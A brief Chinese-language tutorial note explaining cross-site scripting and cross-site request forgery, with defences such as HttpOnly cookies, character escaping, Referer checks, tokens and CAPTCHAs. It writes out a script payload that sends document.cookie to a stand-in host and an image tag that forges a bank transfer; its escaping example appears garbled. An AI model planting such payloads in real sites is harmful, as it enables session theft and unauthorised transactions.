跨站脚本攻击XSS(Cross-Site Scripting, XSS)
在评论区写一段html或js代码,使得别的用户点击你的评论内容后跳转到你的服务器并发送cookie等信息
原理
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
当另一个用户点击这个评论连接的时候,就会给我的服务器发送信息
防范手段
1.设置Cookie为HttpOnly
2.过滤特殊字符
例如将 < 转义为 <,将 > 转义为 >,从而避免 HTML 和 Jascript 代码的运行。
跨站请求伪造CSRF(Cross-site request forgery,CSRF)
浏览器已经记录了用户的信息,下面黑客自己搞了一个网站,里面自动加载一个请求,去触发已经认证网站的请求,导致侵入
原理
假如一家银行用以执行转账操作的 URL 地址如下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
防范手段
1.检查 Referer 首部字段,要求请求来源的地址在同一个域名下
2.添加校验 Token
要求用户浏览器提供不保存在 Cookie 中并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
3.输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作
